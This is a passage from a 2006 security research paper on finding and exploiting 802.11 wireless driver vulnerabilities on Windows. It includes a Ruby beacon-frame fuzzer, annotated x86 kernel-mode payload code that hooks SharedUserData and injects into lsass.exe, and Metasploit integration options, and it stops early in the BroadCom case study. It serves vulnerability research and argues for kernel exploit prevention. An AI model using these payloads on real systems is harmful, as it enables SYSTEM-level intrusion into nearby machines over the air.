Copy Link
Add to Bookmark
Report
uninformed 06 03
Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
11/2006
Johnny Cache (johnycsh[a t]802.11mercenary.net)
H D Moore (hdm[a t]metasploit.com)
skape (mmiller[a t]hick.org)
1) Foreword
Abstract: This paper describes the process of identifying and exploiting
802.11 wireless device driver vulnerabilities on Windows. This process is
described in terms of two steps: pre-exploitation and exploitation. The
pre-exploitation step provides a basic introduction to the 802.11 protocol
along with a description of the tools and libraries the authors used to create
a basic 802.11 protocol fuzzer. The exploitation step describes the common
elements of an 802.11 wireless device driver exploit. These elements include
things like the underlying payload architecture that is used when executing
arbitrary code in kernel-mode on Windows, how this payload architecture has
been integrated into the 3.0 version of the Metasploit Framework, and the
interface that the Metasploit Framework exposes to make developing 802.11
wireless device driver exploits easy. Finally, three separate real world
wireless device driver vulnerabilities are used as case studies to illustrate
the application of this process. It is hoped that the description and
illustration of this process can be used to show that kernel-mode
vulnerabilities can be just as dangerous and just as easy to exploit as
user-mode vulnerabilities. In so doing, awareness of the need for more robust
kernel-mode exploit prevention technology can be raised.
Thanks: The authors would like to thank David Maynor, Richard Johnson, and
Chris Eagle.
2) Introduction
Software security has matured a lot over the past decade. It has gone from
being an obscure problem that garnered little interest from corporations to
something that has created an industry of its own. Corporations that once saw
little value in investing resources in software security now have entire teams
dedicated to rooting out security issues. The reason for this shift in
attitude is surely multifaceted, but it could be argued that the greatest
influence came from improvements to exploitation techniques that could be used
to take advantage of software vulnerabilities. The refinement of these
techniques made it possible for reliable exploits to be used without any
knowledge of the vulnerability. This shift effectively eliminated the already
thin crutch of barrier-to-entry complacency which many corporations were
guilty of leaning on.
Whether or not the refinement of exploitation techniques was indeed the
turning point, the fact remains that there now exists an industry that has
been spawned in the name of software security. Of particular interest for the
purpose of this paper are the corporations and individuals within this
industry that have invested time in researching and implementing solutions
that attempt to tackle the problem of exploit prevention. As a result of this
time investment, things like non-executable pages, address space layout
randomization (ASLR), stack canaries, and other novel preventative measures
are becoming common place in the desktop market. While there should be no
argument that the main-stream integration of many of these technologies is a
good thing, there's a problem.
This problem centers around the fact that the majority of these exploit
prevention solutions to date have been slightly narrow-sighted in their
implementations. In particular, these solutions generally focus on preventing
exploitation in only one context: user-mode. This is not true in all cases.
The authors would like to take care to mention that solutions like grsecurity
from the PaX team have had support for features that help to provide
kernel-level security. Furthermore, stack canary implementations have existed
and are integrated with many mainstream kernels. However, not all device
drivers have been compiled to take advantage of these new enhancements. The
reason for this narrow-sightedness is often defended based on the fact that
kernel-mode vulnerabilities have been far less prevalent. Furthermore,
kernel-mode vulnerabilities are considered by most to require a much more
sophisticated attack when compared with user-mode vulnerabilities.
The prevalence of kernel-mode vulnerabilities could be interpreted in many
different ways. The naive way would be to think that kernel-mode
vulnerabilities really are few and far between. After all, this is code that
should have undergone rigorous code coverage testing. A second interpretation
might consider that kernel-mode vulnerabilities are more complex and thus
harder to find. A third interpretation might be that there are fewer eyes
focused on looking for kernel-mode vulnerabilities. While there are certainly
other factors, the authors feel that it is probably best captured by the
second and third interpretation.
Even if prevalence is affected because of the relative difficulty of
exploiting kernel-mode vulnerabilities, it's still a poor excuse for exploit
prevention solutions to simply ignore it. The past has already shown that
exploitation techniques for user-mode vulnerabilities were refined to the
point of creating increasingly reliable exploits. These increasingly reliable
exploits were then incorporated into automated worms. What's so different
about kernel-mode vulnerabilities? Sure, they are complicated, but so were
heap overflows. The authors see no reason to expect that kernel-mode
vulnerabilities won't also experience a period of revolutionary public
advancements to existing exploitation techniques. In fact, this period has
already started[5,2,1]. Still, most corporations seem content to lean on the same
set of crutches, waiting for proof that a problem really exists. It's hoped
that this paper can assist in the process of making it clear that kernel-mode
vulnerabilities can be just as easy to exploit as user-mode vulnerabilities.
It really shouldn't come as a surprise that kernel-mode vulnerabilities exist.
The intense focus put upon preventing the exploitation of user-mode
vulnerabilities has caused kernel-mode security to lag behind. This lag is
further complicated by the fact that developers who write kernel-mode software
must generally have a completely different mentality relative to what most
user-mode developers are acustomed to. This is true regardless of what
operating system a programmer might be dealing with (so long as it's a
task-oriented operating system with a clear separation between system and
user). User-mode programmers who decide to dabble in writing device drivers
for NT will find themselves in for a few surprises. The most apparent thing
one would notice is that the old Windows Driver Model (WDM) and the new
Windows Driver Framework (WDF) represent completely different APIs relative to
what a user-mode developer would be familiar with. There are a number of
standard C runtime artifacts that can still be used, but their use in device
driver code stands out like a sore thumb. This fact hasn't stopped developers
from using dangerous string functions.
While the API being completely different is surely a big hurdle, there are a
number of other gotchas that a user-mode programmer wouldn't normally find
themselves worrying about. One of the most interesting limitations imposed
upon device driver developers is the conservation of stack space. On modern
derivatives of NT, kernel-mode threads are only provided with 3 pages (12288
bytes) of stack space. In user-mode, thread stacks will generally grow as
large as 256KB (this default limit is controlled by the optional header of an
executable binary). Due to the limited amount of kernel-mode thread stack
space, it should be rare to ever see a device driver consuming a large amount
of space within a stack frame. Nevertheless, it was observed that the Intel
Centrino drivers have multiple instances of functions that consume over 1 page
of stack space. That's 33% of the available stack space wasted within one
stack frame!
Perhaps the most important of all of the differences is the extra care that
must be taken when it comes to dealing with things like performance, error
handling, and re-entrancy. These major elements are critical to ensuring the
stability of the operating system as a whole. If a programmer is negligent in
their handling of any of these things in user-mode, the worst that will happen
is the application will crash. In kernel-mode, however, a failure to properly
account for any of these elements will generally affect the stability of the
system as a whole. Even worse, security related flaws in device drivers
provide a point of exposure that can result in super-user privileges.
From this very brief introduction, it is hoped that the reader will begin to
realize that device driver development is a different world. It's a world
that's filled with a greater number of restrictions and problems, where the
implications of software bugs are much greater than one would normally see in
user-mode. It's a world that hasn't yet received adequate attention in the
form of exploit prevention technology, thus making it possible to improve and
refine kernel-mode exploitation techniques. It should come as no surprise
that such a world would be attractive to researchers and tinkerers alike.
This very attraction is, in fact, one of the major motivations for this paper.
While the authors will focus strictly on the process used to identify and
exploit flaws in wireless device drivers, it should be noted that other device
drivers are equally likely to be prone to security issues. However, most other
device drivers don't have the distinction of exposing a connectionless layer2
attack surface to all devices in close proximity. Frankly, it's hard to
get much cooler than that. That only happens in the movies, right?
To kick things off, the structure of this paper is as follows. In chapter 3,
the steps used to find vulnerabilities in wireless device drivers, such as
through the use of fuzzing, are described. Chapter 4 explains the process of
actually leveraging a device driver vulnerability to execute arbitrary code
and how the 3.0 version of the Metasploit Framework has been extended to make
this trivial to deal with. Finally, chapter 5 provides three real world
examples of wireless device driver vulnerabilities. Each real world example
describes the trials and tribulations of the vulnerability starting with the
initial discovery and ending with arbitrary code execution.
3) Pre-Exploitation
This chapter describes the tools and strategies used by the authors to
identify 802.11 wireless device driver vulnerabilities. Section 3.1 provides a
basic description of the 802.11 protocol in order to provide the
reader with information necessary to understand the attack surface that is
exposed by 802.11 device drivers. Section 3.2 describes the basic interface
exposed by the 3.0 version of the Metasploit Framework that makes it possible
to craft arbitrary 802.11 packets. Finally, section 3.3 describes a basic
approach to fuzzing certain aspects of the way a device driver handles certain
802.11 protocol functions.
3.1) Attack Surface
Device drivers suffer from the same types of vulnerabilities that apply to any
other code written in the C programming language. Buffer mismanagement, faulty
pointer math, and integer overflows can all lead to exploitable conditions.
Device driver flaws are often seen as a low risk issue due to the fact that
most drivers do not process attacker-controlled data. The exception, of
course, are drivers for networking devices. Although Ethernet devices (and
their drivers) have been around forever, the simplicity of what the driver has
to handle has greatly limited the attack surface. Wireless drivers are
required to handle a wider range of requests and are also required to expose
this functionality to anyone within range of the wireless device.
In the world of 802.11 device drivers, the attack surface changes based on the
state of the device. The three primary states are:
1. Unauthenticated and Unassociated
2. Authenticated and Unassociated
3. Authenticated and Associated
In the first state, the client is not connected to a specific wireless
network. This is the default state for 802.11 drivers and will be the focus
for this section. The 802.11 protocol defines three different types of frames:
Control, Management, and Data. These frame types are further divided into
three classes (1, 2, and 3). Only frames in the first class are processed in
the Unauthenticated and Unassociated state.
The following 802.11 management sub-types are processed by clients while in
state 1[3]:
1. Probe Request
2. Probe Reponse
3. Beacon
4. Authentication
The Probe Response and Beacon sub-types are used by wireless devices to
discover and advertise the local wireless networks. Clients can transmit Probe
Responses to discover networks as well (more below). The Authentication
sub-type is used to join a specific wireless network and reach the second
state.
Wireless clients discover the list of available networks in two different
ways. In Active Mode, the client will send a Probe Request containing an
empty SSID field. Any access point in range will reply with a Probe Response
containing the parameters of the wireless network it serves. Alternatively,
the client can specify the SSID it is looking for. In Passive Mode, clients
will listen for Beacon requests and read the network parameters from within
the beacon. Since both of these methods result in a frame that contains
wireless network information, it makes sense for the frame format to be
similar. The method chosen by the client is determined by the capabilities of
the device and the application using the driver.
A beacon frame includes a generic 802.11 header that defines the packet type,
source, destination, Basic Service Set ID (BSSID) and other envelope
information. Beacons also include a fixed-length header that is composed of a
timestamp, beacon interval, and a capabilities field. The fixed-length header
is followed by one or more Information Elements (IEs) which are
variable-length fields and contain the bulk of the access point information.
A probe response frame is almost identical to a beacon frame except that the
destination address is set to that of the client whereas beacons set it to the
broadcast address.
Information elements consist of an 8-bit type field, an 8-bit length field,
and up to 255 bytes of data. This type of structure is very similar to the
common Type-Length-Value (TLV) form used in many different protocols. Beacon
and probe response packets must contain an SSID IE, a Supported Rates IE, and
a Channel IE for most wireless clients to process the packet.
The 802.11 specification states that the SSID field (the human name for a
given wireless network) should be no more than 32 bytes long. However, the
maximum length of an information element is 255 bytes long. This leaves quite
a bit of room for error in a poorly-written wireless driver. Wireless drivers
support a large number of different information element types. The standard
even includes support for proprietary, vendor-specific IEs.
3.2) Packet Injection
In order to attack a driver's beacon and probe response processing code, a
method of sending raw 802.11 frames to the device is needed. Although the
ability to send raw 802.11 packets is not a supported feature in most wireless
cards, many open-source drivers can be convinced to integrate support with a
small patch. A few even support it natively. Under the Linux operating
system, there is a wide range of hardware and drivers that support raw packet
injection. Unfortunately, each driver provides a slightly different interface
for accessing this feature. To support many different wireless cards, a
hardware-independent method for sending raw 802.11 frames is needed.
The solution is the LORCON library (Loss of Radio Connectivity), written by
Mike Kershaw and Joshua Wright. This library provides a standardized interface
for sending raw 802.11 packets through a variety of supported drivers.
However, this library is written in C and does not expose any Ruby bindings by
default. To make it possible to interact with this library from Ruby, a new
Ruby extension (ruby-lorcon) was created that interfaces with the LORCON
library and exposes a simple object-oriented interface. This wrapper interface
makes it possible to send arbitrary wireless packets from a Ruby script.
The easiest way to call the ruby-lorcon interface from a Metasploit module is
through a mixin. Mixins are used in the 3.0 version of the Metasploit
Framework to improve code reuse and allow any module to import a rich feature
set simply by including the right mixins. The mixin that exists for LORCON
provides three new user options and a simple API for opening the interface,
sending packets, and changing the channel.
+-----------+----------+----------+--------------------------------------------+
| Name | Default | Required | Description |
+-----------+----------+----------+--------------------------------------------+
| CHANNEL | 11 | yes | The default channel number |
| DRIVER | madwifi | yes | The name of the wireless driver for lorcon |
| INTERFACE | ath0 | yes | The name of the wireless interface |
+-----------+----------+----------+--------------------------------------------+
A Metasploit module that wants to send raw 802.11 packets should include the
Msf::Exploit::Lorcon mixin. When this mixin is used, a module can make use
of wifi.open() to open the interface and wifi.write() to send packets. The user
will specify the INTERFACE and DRIVER options for their particular hardware
and driver. The creation of the 802.11 packet itself is left in the hands of
the module developer.
3.3) Vulnerability Discovery
One of the fastest ways to find new flaws is through the use of a fuzzer. In
general terms, a fuzzer is a program that forces an application to process
highly variant data that is typically malformed in the hopes that one of the
attempts will yield a crash. Fuzzing a wireless device driver depends on the
device being in a state where specific frames are processed and a tool that
can send frames likely to cause a crash. In the first part of this chapter,
the authors described the default state of a wireless client and what types of
management frames are processed in this state.
The two types of frames that this paper will focus on are Beacons and Probe
Responses. These frames have the following structure:
+------+----------------------+
| Size | Description |
+------+----------------------+
| 1 | Frame Type |
| 1 | Frame Flags |
| 2 | Duration |
| 6 | Destination |
| 6 | Source |
| 6 | BSSID |
| 2 | Sequence |
| 8 | Timestamp |
| 2 | Beacon Interval |
| 2 | Capability Flags |
| Var | Information Elements |
| 2 | Frame Checksum |
+------+----------------------+
The Information Elements field is a list of variable-length structures
consisting of a one byte type field, a one byte length field, and up to 255
bytes of data. Variable-length fields are usually good targets for fuzzing
since they require special processing when the packet is parsed. To attack a
driver that uses Passive Mode to discover wireless networks, it's necessary to
flood the target with mangled Beacons. To attack a driver that uses Active
Mode, it's necessary to flood the target with mangled Probe Responses while
forcing it to scan for networks. The following Ruby code generates a Beacon
frame with randomized Information Element data. The Frame Checksum field is
automatically added by the driver and does not need to be included.
#
# Generate a beacon frame with random information elements
#
# Maximum frame size (max is really 2312)
mtu = 1500
# Number of information elements
ies = rand(1024)
# Randomized SSID
ssid = Rex::Text.rand_text_alpha(rand(31)+1)
# Randomized BSSID
bssid = Rex::Text.rand_text(6)
# Randomized source
src = Rex::Text.rand_text(6)
# Randomized sequence
seq = [rand(255)].pack('n')
# Capabiltiies
cap = Rex::Text.rand_text(2)
# Timestamp
tstamp = Rex::Text.rand_text(8)
frame =
"\x80" + # type/subtype (mgmt/beacon)
"\x00" + # flags
"\x00\x00" + # duration
"\xff\xff\xff\xff\xff\xff" + # dst (broadcast)
src + # src
bssid + # bssid
seq + # seq
tstamp + # timestamp value
"\x64\x00" + # beacon interval
cap # capabilities
# First IE: SSID
"\x00" + ssid.length.chr + ssid +
# Second IE: Supported Rates
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
# Third IE: Current Channel
"\x03" + "\x01" + channel.chr
# Generate random Information Elements and append them
1.upto(ies) do |i|
max = mtu - frame.length
break if max < 2
t = rand(256)
l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
d = Rex::Text.rand_text(l)
frame += t.chr + l.chr + d
end
While this is just one example of a simple 802.11 fuzzer for a particular
frame, much more complicated, state-aware fuzzers could be implemented that
make it possible to fuzz other packet handling areas of wireless device
drivers.
4) Exploitation
After an issue has been identified through the use of a fuzzer or through
manual analysis, it's necessary to begin the process of determining a way to
reliably gain control of the instruction pointer. In the case of stack-based
buffer overflows on Windows, this process is often as simple as determining
the offset to the return address and then overwriting it with an address of an
instruction that jumps back into the stack. That's the best case scenario,
though, and there are often other hurdles that one may have to overcome
regardless of whether or not the vulnerability exists in a device driver or in
a user-mode program. These hurdles and other factors are what tend to make
the process of getting reliable control of the instruction pointer one of the
most challenging steps in exploit development. Rather than exhaustively
describing all of the problems one could run into, the authors will instead
provide illustrations in the form of real world examples included in chapter 5.
Assuming reliable control of the instruction pointer can be gained, the
development of an exploit typically transitions into its final stage:
arbitrary code execution. In user-mode, this stage has been completely
automated for most exploit developers. It's become common practice to simply
use Metasploit's user-mode payload generator. Kernel-mode payloads, on the
other hand, have not seen an integrated solution for producing reliable
payloads that can be dropped into any exploit. That's certainly not to say
that there hasn't been previous work dealing with kernel-mode payloads, as
there definitely has been[2,1], but their form up to now has been one that is not
particularly easy to adopt. This lack of easy to use kernel-mode payloads can
be seen as one of the major reasons why there has not been a large number of
public, reliable kernel-mode exploits.
Since one of the goals of this paper is to illustrate how kernel-mode exploits
can be written just as easily as user-mode exploits, the authors determined
that it was necessary to incorporate the existing set of kernel-mode payload
ideas into the 3.0 version of the Metasploit framework where they could be
used freely with any future kernel-mode exploits. While this final
integration was certainly the end-goal, there were a number of important steps
that had to be taken before the integration could occur. The following
sections will attempt to provide this background. In section 4.1, details
regarding the payload architecture that the authors selected is described in
detail. This section also includes a description of the interface that has
been exposed in the 3.0 version of the Metasploit Framework for developers who
wish to implement kernel-mode exploits.
4.1) Payload Architecture
The payload architecture that the authors decided to integrate was based
heavily off previous research[1]. As was alluded to in the introduction, there
are a number of complicated considerations that must be taken into account
when dealing with kernel-mode exploitation. A large majority of these
considerations are directly related to what methods should be used when
executing arbitrary code in the kernel. For example, if a device driver was
holding a lock at the time that an exploit was triggered, what might be the
best way to go about releasing that lock so as to recover the system so that
it will still be possible to interact with it in a meaningful way? Other
types of considerations include things like IRQL restrictions, cleaning up
corrupted structures, and so on. These considerations lead to there being
many different ways in which a payload might best be implemented for a
particular vulnerability. This is quite a bit different from the user-mode
environment where it's almost always possible to use the exact same payload
regardless of the application.
Though these situational complications do exist, it is possible to design and
implement a payload system that can be applied in almost any circumstance. By
separating kernel-mode payloads into variable components, it becomes possible
to combine components together in different ways to form functional variations
that are best suited for particular situations. In Windows Kernel-mode
Payload Fundamentals [1], kernel-mode payloads are broken down into four
different components: migration, stagers, recovery, and stages.
When describing kernel-mode payloads in terms of components, the migration
component would be one that is used to migrate from an unsafe execution
environment to a safe execution environment. For example, if the IRQL is at
DISPATCH when a vulnerability is triggered, it may be necessary to migrate to
a safer IRQL such as PASSIVE. It is not always necessary to have a migration
component. The purpose of a stager component is to move some portion of the
payload so that it executes in the context of another thread context. This
may be necessary if the current thread is of critical importance or may lead
to a deadlock of the system should certain operations be used. The use of a
stager may obviate the need for a migration component. A recovery component
is something that is used to restore the system to clean state and then
continue execution. This component is generally one that may require
customization for a given vulnerability as it may not always be possible to
describe the steps needed to recover the system in a generic way. For
example, if locks were held at the time that the vulnerability was triggered,
it may be necessary to find a way to release those locks and then continue
execution from a safe point. Finally, the stage component is a catch-all for
whatever arbitrary code may be executed once the payload is running in a safe
environment.
This model for describing kernel-mode payloads is what the authors decided to
adopt. To better understand how this model works, it seems best to describe
how it was applied for all three real world vulnerabilities that are shown in
chapter 5. These three vulnerabilities actually make use of the same basic
underlying payload, which will henceforth be referred to as ``the payload''
for brevity. The payload itself is composed of three of the four components.
Each of the payload components will be discussed individually and then as a
whole to provide an idea for how the payload operates.
The first component that exists in the payload is a stager component. The
stager that the authors chose to use is based on the SharedUserData SystemCall
Hook stager described in [1]. Before understanding how the stager works, it's
important to understand a few things. As the name implies, the stager
accomplishes its goal by hooking the SystemCall attribute found within
SharedUserData. As a point of reference, SharedUserData is a global page that
is shared between user-mode and kernel-mode. It acts as a sort of global
structure that contains things like tick count and time information, version
information, and quite a few other things. It's extremely useful for a few
different reasons, not the least of which being that it's located at a fixed
address in user-mode and in kernel-mode on all NT derivatives. This means
that the stager is instantly portable and doesn't need to perform any symbol
resolution to locate the address, thus helping to keep the overall size of the
payload small.
The SystemCall attribute that is hooked is part of an enhancement that was
added in Windows XP. This enhancement was designed to make it possible to use
optimized system call instructions depending on what hardware support is
present on a given machine. Prior to Windows XP, system calls were dispatched
from user-mode through the hardcoded use of the int 0x2e soft interrupt. Over
time, hardware enhancements were made to decrease the overhead involved in
performing a system call, such as through the introduction of the sysenter
instruction. Since Microsoft isn't in the business of providing different
versions of Windows for different makes and models of hardware, they decided
to determine at runtime which system call interface to use. SharedUserData
was the perfect candidate for storing the results of this runtime
determination as it was already a shared page that existed in every user-mode
process. After making these modifications, ntdll.dll was updated to dispatch
system calls through SharedUserData rather than through the hardcoded use of
int 0x2e. The initial implementation of this new system call dispatching
interface placed executable code within the SystemCall attribute of
SharedUserData. Subsequent versions of Windows, such as XP SP2, turned the
SystemCall attribute into a function pointer.
One important implication about the introduction of the SystemCall attribute
to SharedUserData is that it represents a pivot point through which all system
call dispatching occurs in user-mode. In previous versions of Windows, each
user-mode system call stub routine invoked int 0x2e directly. In the latest
versions, these stub routines make indirect calls through the SystemCall
function pointer. By default, this function pointer is initialized to point
to one of a few exported symbols within ntdll.dll. However, the implications
of this function pointer being changed to point elsewhere mean that it would
be possible to intercept all system calls within all processes. This
implication is what forms the very foundation for the stager that is used by
the payload.
When the stager begins executing, it's running in kernel-mode in the context
of the thread that triggered the vulnerability. The first action it takes is
to copy a chunk of code (the stage) into an unused portion of SharedUserData
using the predictable address of 0xffdf037c. After the copy operation
completes, the stager proceeds by hooking the SystemCall attribute. This hook
must be handled differently depending on whether or not the target operating
system is pre-XP SP2 or not. More details on how this can be handled are
described in [1]. Regardless of the approach, the SystemCall attribute is
redirected to point to 0x7ffe037c. This predictable location is the user-mode
accessible address of the unused portion of SharedUserData where the stage was
copied into. After the hooking operation completes, all system calls invoked
by user-mode processes will first go through the stage placed at 0x7ffe037c.
The stager portion of the payload looks something like this (note, this
implementation is only designed to work on XP SP2 and Windows 2003 Server SP1.
Modifications would need to be made to make it work on previous versions of XP
and 2003):
; Jump/Call to get the address of the stage
00000000 EB38 jmp short 0x3a
00000002 BB0103DFFF mov ebx,0xffdf0301
00000007 4B dec ebx
00000008 FC cld
; Copy the stage into 0xffdf037c
00000009 8D7B7C lea edi,[ebx+0x7c]
0000000C 5E pop esi
0000000D 6AXX push byte num_stage_dwords
0000000F 59 pop ecx
00000010 F3A5 rep movsd
; Set edi to the address of the soon-to-be function pointer
00000012 BF7C03FE7F mov edi,0x7ffe037c
; Check to make sure the hook hasn't already been installed
00000017 393B cmp [ebx],edi
00000019 7409 jz 0x24
; Grab SystemCall function pointer
0000001B 8B03 mov eax,[ebx]
0000001D 8D4B08 lea ecx,[ebx+0x8]
; Store the existing value in 0x7ffe0308
00000020 8901 mov [ecx],eax
; Overwrite the existing function pointer and make things live!
00000022 893B mov [ebx],edi
; recovery stub here
0000003A E8C3FFFFFF call 0x2
; stage here
With the hook in place, the stager has completed its primary task which was to
copy a stage into a location where it could be executed in the future. Before
the stage can execute, the stager must allow the recovery component of the
payload to execute. As mentioned previously, the recovery component
represents one of the most vulnerability-specific portions of any kernel-mode
payload. For the purpose of the exploits described in chapter 5, a special
purpose recovery component was necessary.
This particular recovery component was required due to the fact that the
example vulnerabilities are triggered in the context of the Idle thread. On
Windows, the Idle thread is a special kernel thread that executes whenever a
processor is idle. Due to the nature of the way the Idle thread operates,
it's dangerous to perform operations like spinning the thread or any of the
other recovery methods described in [1]. It may also be possible to apply the
technique for delaying execution within the Idle thread as discussed in [2]. The
recovery method that was finally selected involves two basic steps. First,
the IRQL for the current processor is restored to DISPATCH level just in case
it was executing at a higher IRQL. Second, execution control is transferred
into the first instruction of nt!KiIdleLoop after initializing registers
appropriately. The end effect is that the idle thread begins executing all
over again and, if all goes well, the system continues operating as if nothing
had happened. In practice, this recovery method has been proven reliable.
However, the one negative that it is has is that it requires knowledge of the
address that nt!KiIdleLoop resides at. This dependence represents an area
that is ripe for future improvement. Regardless of limitations, the recovery
component for the payload looks like the code below:
; Restore the IRQL
00000024 31C0 xor eax,eax
00000026 64C6402402 mov byte [fs:eax+0x24],0x2
; Initialize assumed registers
0000002B 8B1D1CF0DFFF mov ebx,[0xffdff01c]
00000031 B827BB4D80 mov eax,0x804dbb27
00000036 6A00 push byte +0x0
; Transfer control to nt!KiIdleLoop
00000038 FFE0 jmp eax
After the recovery component has completed its execution, all of the payload
code that was originally executing in kernel-mode is complete. The final
portion of the payload that remains to be executed is the stage that was
copied by the stager. The stage itself runs in user-mode within all process
contexts, and it executes every time a system call is dispatched. The
implications of this should be obvious. Having a stage that executes within
every process every time a system call occurs is just asking for trouble. For
that reason, it makes sense to design a generic user-mode stage that can be
used to limit the times that it executes to one particular context.
The approach that the authors took to meet this requirement is as follows.
First, the stage performs a check that is designed to see if it is running in
the context of a specific process. This check is there in order to help
ensure that the stage itself only executes in a known-good environment. As an
example, it would be a shame to take advantage of a kernel-mode vulnerability
only to finally execute code with the privileges of Guest. By default, this
check is designed to see if the stage is running within lsass.exe, a process
that runs with SYSTEM level privileges. If the stage is running within lsass,
it performs a check to see if the SpareBool attribute of the Process
Environment Block has been set to one. By default, this value is initialized
to zero in all processes. If the SpareBool attribute is set to zero, then the
stage proceeds to set the SpareBool attribute to one and then finishes by
executing whatever code is remaining within the stage. If the SpareBool
attribute is set to one, which means the stage has already run, or it's not
running within lsass, it transfers control back to the original system call
dispatching routine. This is necessary because it is still a requirement that
system calls from user-mode processes be dispatched appropriately, otherwise
the system itself would grind to a halt. An example of what this stage might
look like is shown below:
; Preserve the calling environment
0000003F 60 pusha
00000040 6A30 push byte +0x30
00000042 58 pop eax
00000043 99 cdq
00000044 648B18 mov ebx,[fs:eax]
; Check if Peb->Ldr is NULL
00000047 39530C cmp [ebx+0xc],edx
0000004A 7426 jz 0x72
; Extract Peb->ProcessParameters->ImagePathName.Buffer
0000004C 8B5B10 mov ebx,[ebx+0x10]
0000004F 8B5B3C mov ebx,[ebx+0x3c]
; Add 0x28 to the image path name (skip past c:\windows\system32\)
00000052 83C328 add ebx,byte +0x28
; Compare the name of the executable with lass
00000055 8B0B mov ecx,[ebx]
00000057 034B03 add ecx,[ebx+0x3]
0000005A 81F96C617373 cmp ecx,0x7373616c
; If it doesn't match, execute the original system call dispatcher
00000060 7510 jnz 0x72
00000062 648B18 mov ebx,[fs:eax]
00000065 43 inc ebx
00000066 43 inc ebx
00000067 43 inc ebx
; Check if Peb->SpareBool is 1, if it is, execute the original
; system call dispatcher
00000068 803B01 cmp byte [ebx],0x1
0000006B 7405 jz 0x72
; Set Peb->SpareBool to 1
0000006D C60301 mov byte [ebx],0x1
; Jump into the continuation stage
00000070 EB07 jmp short 0x79
; Restore the calling environment and execute the original system call
; dispatcher that was preserved in 0x7ffe0308
00000072 61 popa
00000073 FF250803FE7F jmp near [0x7ffe0308]
; continuation of the stage
The culmination of these three payload components is a functional payload that
can be used in any situation where an exploit is triggered within the Idle
thread. If the exploit is triggered outside of the context of the Idle
thread, the recovery component can be swapped out with an alternative method
and the rest of the payload can remain unchanged. This is one of the benefits
of breaking kernel-mode payloads down into different components. To recap,
the payload works by using a stager to copy a stage into an unused portion of
SharedUserData. The stager then points the SystemCall attribute to that
unused portion, effectively causing all user-mode processes to bounce through
the stage when they attempt to make a system call. Once the stager has
completed, the recovery component restores the IRQL to DISPATCH and then
restarts the Idle thread. The kernel-mode portion of the payload is then
complete. Shortly after that, the stage that was copied to SharedUserData is
executed in the context of a specific user-mode process, such as lsass.exe.
Once this occurs, the stage sets a flag that indicates that it's been executed
and completes. All told, the payload itself is only 115 bytes, excluding any
additional code in the stage.
Given all of this infrastructure work, it's trivial to plug almost any
user-mode payload into the stage. The additional code must simply be placed
at the point where it's verified that it's running in a particular process and
that it hasn't been executed before. The reason for it being so trivial was
quite intentional. One of the major goals in implementing this payload system
was to make it possible to use the existing set of payloads that exist in the
Metasploit framework in conjunction with any kernel-mode exploit. This
includes even some of the more powerful payloads such as Meterpreter and VNC
injection.
There were two key elements involved in integrating kernel-mode payloads into
the 3.0 version of the Metasploit Framework. The first had to do with
defining the interface that exploit developers would need to use when writing
kernel-mode exploits. The second delt with defining the interface the
end-users would have to be aware of when using kernel-mode exploits. In terms
of precedence, defining the programming level interfaces first is the ideal
approach. To that point, the programming interface that was decided upon is
one that should be pretty easy to use. The majority of the complexity
involved in selecting a kernel-mode payload is hidden from the developer.
There are only a few basic things that the developer needs to be aware of.
When implementing a kernel-mode exploit in Metasploit 3.0, it is necessary to
include the Msf::Exploit::KernelMode mixin. This mixin provides hints to the
framework that make it aware of the fact that any payloads used with this
exploit will need to be appropriately encapsulated within a kernel-mode
stager. With this simple action, the majority of the work associated with the
kernel-mode payload is abstracted away from the developer. The only other
elements that a developer may need to deal with is the process of defining
extended parameters that are used to further control the process of selecting
different aspects of the kernel-mode payload. These controlable parameters
are exposed to developers through the ExtendedOptions hash element in an
exploit's global or target-specific Payload options. An example of what this
might look like within an exploit can be seen here:
'Payload' =>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dbb27,
}
}
In the above example, the exploit has explicitly selected the underlying
stager component that should be used by specifying the Stager hash element.
The sudsyscallhook stager is a symbolic name for the stager that was described
in section 4.1. The example above also has the exploit explicitly selecting the
recovery component that should be used. In this case, the recovery component
that is selected is idlethreadrestart which is a symbolic name for the
recovery component described previously. Additionally, the nt!KiIdleLoop
address is specified for use with this particular recovery component. Under
the hood, the use of the KernelMode mixin and the additional extended options
results in the framework encapsulating whatever user-mode payload the end-user
specified inside of a kernel-mode stager. In the end, this process is
entirely transparent to both the developer and the end-user.
While the set of options that can be specified in the extended options hash
will surely grow in the future, it makes sense to at least document the set of
defined elements at the time of this writing. These options include:
Recovery: Defines the recovery component that should be used when generating
the kernel-mode payload. The current set of valid values for this option
include spin, which will spin the current thread, idlethreadrestart, which
will restart the Idle thread, or default which is equivalent to spin. Over
time, more recovery methods may be added. These can be found in recovery.rb.
RecoveryStub: Defines a custom recovery component.
Stager: Defines the stager component that should be used when generating the
kernel-mode payload. The current set of valid values for this option include
sudsyscallhook. Over time, more stager methods may be added. These can be
found in stager.rb.
UserModeStub: Defines the user-mode custom code that should be executed as
part of the stage.
RunInWin32Process: Currently only applicable to the sudsyscallhook stager.
This element specifies the name of the system process, such as lsass.exe, that
should be injected into.
KiIdleLoopAddress: Currently only applicable to the idlethreadrestart recovery
component. This element specifies the address of nt!KiIdleLoop.
While not particularly important to developers or end-users, it may be
interesting for some to understand how this abstraction works internally. To
start things off, the KernelMode mixin overrides a base class method called
encodebegin. This method is called when a payload that is used by an exploit
is being encoded. When this happens, the mixin declares a procedure that is
called by the payload encoder. In turn, this procedure is called by the
payload encoder in the context of encapsulating the pre-encoded payload. The
procedure itself is passed the original raw user-mode payload and the payload
options hash (which contains the extended options, if any, that were specified
in the exploit). It uses this information to construct the kernel-mode stager
that is used to encapsulate the user-mode payload. If the procedure completes
successfully, it returns a non-nil buffer that contains the original user-mode
payload encapsulated within a kernel-mode stager. The kernel-mode stager and
other components are actually contained within the payloads subsystem of the
Rex library under lib/rex/payloads/win32/kernel.
5) Case Studies
This chapter describes three separate vulnerabilities that were found by the
authors in real world 802.11 wireless device drivers. These three issues were
found through a combination of fuzzing and manual analysis.
5.1) BroadCom
The first vulnerability that was subject to the process described in this
paper was an issue that was found in BroadCom's wireless device driver. This
vulnerability was discovered by Chris Eagle as a result of his interest in
doing some reversing of kernel-mode code. Chris noticed what appeared to be a
conventional stack overflow in the way the BroadCom device driver handled
beacon packets. As a result of this tip, a simple program was written that
